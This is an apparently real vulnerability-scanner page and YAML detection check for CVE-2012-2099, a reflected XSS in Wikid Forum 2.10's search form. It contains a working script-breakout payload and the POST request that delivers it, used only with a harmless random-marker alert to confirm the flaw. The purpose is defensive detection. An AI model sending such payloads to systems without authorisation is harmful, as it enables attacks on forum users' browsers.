Wikid Forum — 1 vulnerability check

noctis ships 1 vulnerability check for Wikid Forum, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Wikid Forum 2.10 search Field Reflected XSS

CVECVE-2012-2099
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/wikidforum/CVE-2012-2099.yaml

Tests Wikid Forum (Wikidforum) for the cross-site scripting flaw in its search form. The feed requests admin/login.php under the web root, /wiki and /wikidforum to recognise the forum, then posts the search form with a term that closes the current script and adds a new one containing a random marker. A vulnerable forum prints the term back unescaped in the results page, so the finding requires the reply to hold the injected script element with this scan's marker verbatim. A forum that HTML-escapes the term, or a page that merely echoes the request, is not reported. The request only runs a search and changes nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{wdir}}/admin/login.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{wdir}}/index.php?action=search&mode=search with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. Checks xss_proof for ^alert\(noctis[0-9a-f]{12}\)$ → finding QoD 75: Wikid Forum 2.10 search Field Reflected XSS (CVE-2012-2099)

References:

Feed source — tests/vulnerabilities/wikidforum/CVE-2012-2099.yaml
# Wikid Forum 2.10 search reflected XSS — CVE-2012-2099
#
# The forum search (index.php?action=search&mode=search, field txtsearch)
# prints the submitted term back into the results page without HTML-escaping,
# so a term holding </script><script>...</script> adds a script element to the
# page. The same advisory lists the Author and select_sort parameters of the
# advanced search, and CVE-2012-6520 (SQL injection through select_sort /
# opt_search_select, "could not be reproduced by third parties" per NVD);
# only the search-field XSS is proven here, so the feed names CVE-2012-2099.
# The tracking issue also covers CVE-2012-6520.
#
# Detection (benign, read-only): for each candidate install dir, GET
# <dir>/admin/login.php and require the Wikid Forum login page; then POST the
# search form with txtsearch = '"</script><script>alert(<marker>)</script>
# (random <marker> per scan) and report when the 200 reply holds the
# </script><script>alert(<marker>)</script> sequence verbatim. QoD 75.
#
# Improvements over the source NASL:
#   - Random marker per scan instead of the fixed alert(document.cookie): a
#     page that always prints that string, or a reflector that echoes the
#     raw request, is not reported (the form-encoded request body carries the
#     angle brackets as %3C / %3E, so only a decoded reflection matches).
#   - The reflection is matched as the exact script-element breakout, not
#     only the script text anywhere in the reply.
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_wikidforum_mult_xss_n_sql_inj_vuln.nasl
# (GPL-2.0-only).
uid: 604cbd79-b0a6-44d9-a170-c353d37efabd
name: "Wikid Forum 2.10 search Field Reflected XSS (CVE-2012-2099)"
description: |
  Tests Wikid Forum (Wikidforum) for the cross-site scripting flaw in its
  search form. The feed requests admin/login.php under the web root, /wiki and
  /wikidforum to recognise the forum, then posts the search form with a term
  that closes the current script and adds a new one containing a random
  marker. A vulnerable forum prints the term back unescaped in the results
  page, so the finding requires the reply to hold the injected script element
  with this scan's marker verbatim. A forum that HTML-escapes the term, or a
  page that merely echoes the request, is not reported. The request only runs
  a search and changes nothing on the server.
cves: [CVE-2012-2099]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [wikidforum, forum, xss, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-2099"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-6520"
  - "OpenVAS/Greenbone NASL 2012/gb_wikidforum_mult_xss_n_sql_inj_vuln.nasl (GPL-2.0-only)"

steps:
  - id: marker
    action: script
    code: |
      "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
    store_as: tok

  # Loop group: the following steps run once per install dir.
  - id: init-gate
    action: set_var
    var_name: gate
    var_value: {status: 0, body: ""}
    loop:
      var: wdir
      over: ["", "/wiki", "/wikidforum"]

  - id: init-search
    action: set_var
    var_name: search
    var_value: {status: 0, body: ""}

  - id: gate-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wdir}}/admin/login.php"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: gate

  - id: gate-check
    action: script
    code: |
      let ok = false;
      if gate.status == 200 && type_of(gate.body) == "string" {
        let b = gate.body;
        ok = stridx(b, "\"Wikid Forum") >= 0
          || (stridx(b, ">Wiki - Admin<") >= 0 && stridx(b, "loginboxmain") >= 0 && stridx(b, "loginimgmain") >= 0);
      }
      ok
    store_as: is_wikid

  - id: search-probe
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{wdir}}/index.php?action=search&mode=search"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "txtsearch=%27%22%3C%2Fscript%3E%3Cscript%3Ealert%28{{tok}}%29%3C%2Fscript%3E"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: search
    condition: "is_wikid"

  - id: reflection
    action: script
    code: |
      let out = "";
      if is_wikid && search.status == 200 && type_of(search.body) == "string" {
        if stridx(search.body, "</script><script>alert(" + tok + ")</script>") >= 0 {
          out = "alert(" + tok + ")";
        }
      }
      out
    store_as: xss_proof

  - id: report
    action: match
    source: xss_proof
    pattern: '^alert\(noctis[0-9a-f]{12}\)$'
    on_match:
      finding:
        title: "Wikid Forum 2.10 search Field Reflected XSS (CVE-2012-2099)"
        description: "The Wikid Forum search form printed the submitted term back into the results page without HTML-escaping, so a term that closes the current script element and opens a new one added a script element to the page. An attacker can send a crafted search that runs script in the browser of a forum user or administrator."
        remediation: "Wikid Forum is no longer maintained: remove it or restrict access to it, and migrate to a maintained forum. Until then, HTML-escape the search term before printing it."
        confidence_delta: 0.45
        qod: 75
        evidence: "POST {{wdir}}/index.php?action=search&mode=search with a random-marker script breakout returned HTTP 200 holding the unescaped element: </script><script>{{xss_proof}}</script>"
      stop: true

View these feeds on GitHub